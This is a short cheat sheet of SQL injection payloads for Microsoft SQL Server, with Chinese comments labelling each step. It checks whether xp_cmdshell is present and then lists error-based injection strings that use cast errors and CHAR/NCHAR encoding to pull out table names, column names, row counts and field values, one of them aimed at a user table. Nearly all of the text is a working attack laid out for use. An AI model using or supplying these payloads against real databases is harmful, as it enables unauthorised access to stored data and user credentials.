select count(*) FROM master..sysobjects where xtype = 'X' AND name = 'xp_cmdshell'
And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 //依次得到表名
And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From syscolumns Where id = OBJECT_ID(NCHAR(78)+NCHAR(101)+NCHAR(119)+NCHAR(115)+NCHAR(95)+NCHAR(85)+NCHAR(115)+NCHAR(101)+NCHAR(114)) Order by colid) T Order by colid desc)>0 //得到列名
And (Select Cast(Count(1) as varchar(8000))+char(97) From [TableName] Where 1=1)>0 //得到字段的记录个数
And (Select Top 1 isNull(cast([sName] as varchar(8000)),char(32))+char(124) From (Select Top 1 sName From [TableName] Where 1=1 Order by sName) T Order by sName desc)>0 //得到字段的值